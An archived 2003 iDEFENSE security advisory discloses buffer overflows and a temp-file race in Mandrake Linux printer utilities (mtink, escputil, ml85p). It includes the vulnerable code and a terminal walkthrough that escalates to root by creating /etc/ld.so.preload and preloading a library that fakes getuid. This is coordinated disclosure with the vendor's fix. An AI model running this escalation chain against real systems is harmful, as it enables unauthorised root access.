iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux printer-drivers Package

From: iDEFENSE Labs (labsat_private)
Date: Tue Jan 21 2003 - 10:59:21 PST

  • Next message: Sebastian Krahmer: "SuSE Security Announcement: susehelp (SuSE-SA:2003:005)"

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux
    printer-drivers Package
    http://www.idefense.com/advisory/01.21.03.txt
    January 21, 2003
    
    I. BACKGROUND
    
    MandrakeSoft Inc.'s Mandrake Linux includes the printer-drivers package in
    most default installations. Specifically, the following three binaries are
    included:
    
    mtink: a status monitor that tracks remaining ink quantity, printing of
    test patterns, and changing and cleaning cartridges, etc. It is maintained
    by Jean-Jacques Sarton (jj.sarton@t-online.de).
    
    escputil: a utility to clean and align the heads of Epson Stylus printers.
    It also checks current ink levels in the printer. It is maintained by
    Robert Krawitz (rlkat_private) and Mike Sweet.
    
    ml85p: a Linux driver for Samsung ML-85G series printers. It is maintained
    by Rildo Pragana (rildoat_private).
    
    
    II. DESCRIPTION
    
    Three vulnerabilities exist, the worst of which allows local root
    compromise of a target system.
    
    VULNERABILITY ONE: The mtink binary, installed set group id (gid) 'sys',
    contains a buffer overflow in its handling of the HOME environment
    variable. Successful exploitation provides an attacker with 'sys' group
    privileges. The following snippet contains the offending segment of code:
    
    void readRc(int idx)
    {
        FILE *fp;
        char rcPath[1024];
        ...
        sprintf(rcPath,"%s/.mtinkrc",getenv("HOME"));
    
    VULNERABILITY TWO: The escputil binary, installed set gid 'sys',contains a
    buffer overflow in its parsing of the printer-name command line argument.
    Successful exploitation provides an attacker with 'sys' group privileges.
    
    VULNERABILITY THREE: The ml85p binary, installed set user id root,
    contains a race condition in its opening of temporary files. Successful
    exploitation provides an attacker with the ability to create or empty a
    file with super user privileges. The following snippet contains the
    offending segment of code:
    
    sprintf(gname,"/tmp/mlg85p%d",time(0));
        if (!(cbmf = fopen(gname,"w+"))) {
    
    An attacker can easily guess the name of a temporary file and then link
    the guessed file to a file at another location. If the other file does not
    exist, it is created world-writeable; if it does exist, the contents of
    the file are lost. ml85p is, by default, installed without execute
    permissions for 'other':
    
    $ ls -l /usr/bin/ml85p
    - -rwsr-x--- 1 root sys 12344 Sep 17 12:40 /usr/bin/ml85p*
    
    The binary, however, does provide execute permissions to the 'sys' group,
    whose privileges can be gained using either of the two exploits in
    VULNERABILITY ONE or TWO. Once 'sys' privileges are obtained, an attacker
    can exploit this race condition.
    
    The following example walks through a sample attack utilizing the
    above-described methods:
    
    $ id
    uid=501(farmer) gid=501(farmer) groups=501(farmer)
    
    $ ./escputil_ex
    Usage : ./escputil_ex [offset]
    Address : 0xbffff6b0
    Exploiting...
    Escputil version 4.2.2, Copyright (C) 2000-2001 Robert Krawitz
    Escputil comes with ABSOLUTELY NO WARRANTY; for details type 'escputil -l'
    This is free software, and you are welcome to redistribute it
    under certain conditions; type 'escputil -l' for details.
    Cleaning heads...
    lpr: unable to print file: client-error-not-found
    /etc/profile.d/alias.sh:31: parse error: condition expected: !=
    
    $ id
    uid=501(farmer) gid=501(farmer) egid=3(sys) groups=501(farmer)
    
    $ ls -l /etc/ld.so.preload
    ls: /etc/ld.so.preload: No such file or directory
    
    $ ./ml85p_ex /etc/ld.so.preload
    Press a key to clean/create /etc/ld.so.preload file
    Wrong file format.
    file position: ffffffff
    
    $ ls -l /etc/ld.so.preload
    - -rw-rw-rw- 1 root sys 0 Oct 21 09:09 /etc/ld.so.preload
    
    $ cat > /tmp/lib.c < heredoc> int getuid(void) { return 0; }
    heredoc> EOF
    
    $ gcc -fPIC -c /tmp/lib.c
    $ gcc -o /tmp/lib.so -shared /tmp/lib.o
    
    $ echo "/tmp/lib.so" > /etc/ld.so.preload
    
    $ su -
    
    # id
    uid=0(root) gid=0(root) groups=0(root)
    
    
    III. ANALYSIS
    
    Any attacker with local access to a targeted system can launch this
    attack. The ability to empty or create with root privileges any file on
    the file system provides an attacker with many avenues of exploitation.
    The above-described example is just one way of quickly gaining super user
    privileges on a targeted system.
    
    
    IV. DETECTION
    
    Mandrake Linux 9.0 is vulnerable. By default, it includes the following
    versions of the printer-drivers package:
    
    printer-utils-1.0-76mdk
    printer-filters-1.0-76mdk
    
    
    V. VENDOR FIX / RESPONSE
    
    MandrakeSoft has identified the problems and applied author-provided fixes
    to the escputil and mtink vulnerabilities.  A patch written by Till
    Kamppeter was applied to ml85p to fix that vulnerability.  Updates are
    provided for Mandrake Linux 8.1 through 9.0 for the printer-drivers
    packages, and ghostscript in 8.0 to fix these vulnerabilities
    (MDKSA-2003:010).
    
    
    VI. DISCLOSURE TIMELINE
    
    10/06/2002      Issues disclosed to iDEFENSE
    12/26/2002      Issues disclosed to jj.sarton@t-online.de, 
                    rlkat_private, rildoat_private, and 
                    security@linux-mandrake.com
    12/26/2002      Issues disclosed to iDEFENSE clients
    12/26/2002      Vendor responses from rlkat_private, 
                    jj.sarton@t-online.de
    12/30/2002      Response from Vincent Danen (vdanenat_private)
    01/21/2003      Coordinated public disclosure
    
    
    VIII. CREDIT
    
    Karol Wiesek (appelastat_private) discovered these vulnerabilities.
    
    
    
    Get paid for security research
    http://www.idefense.com/contributor.html
    
    Subscribe to iDEFENSE Advisories:
    send email to listservat_private, subject line: "subscribe"
    
    
    About iDEFENSE:
    
    iDEFENSE is a global security intelligence company that proactively
    monitors sources throughout the world — from technical
    vulnerabilities and hacker profiling to the global spread of viruses
    and other malicious code. Our security intelligence services provide 
    decision-makers, frontline security professionals and network 
    administrators with timely access to actionable intelligence
    and decision support on cyber-related threats. For more information,
    visit http://www.idefense.com .
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.0
    Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xE4A96E4F
    
    iQA/AwUBPi2Xuvrkky7kqW5PEQJ3hACgmjVD0byEeUAiFdrWtRnzbcuVe9IAoP4n
    seYz8DLDxY5k9zWJhd6WoGJW
    =WOHM
    -----END PGP SIGNATURE-----
    



    This archive was generated by hypermail 2b30 : Wed Jan 22 2003 - 16:26:57 PST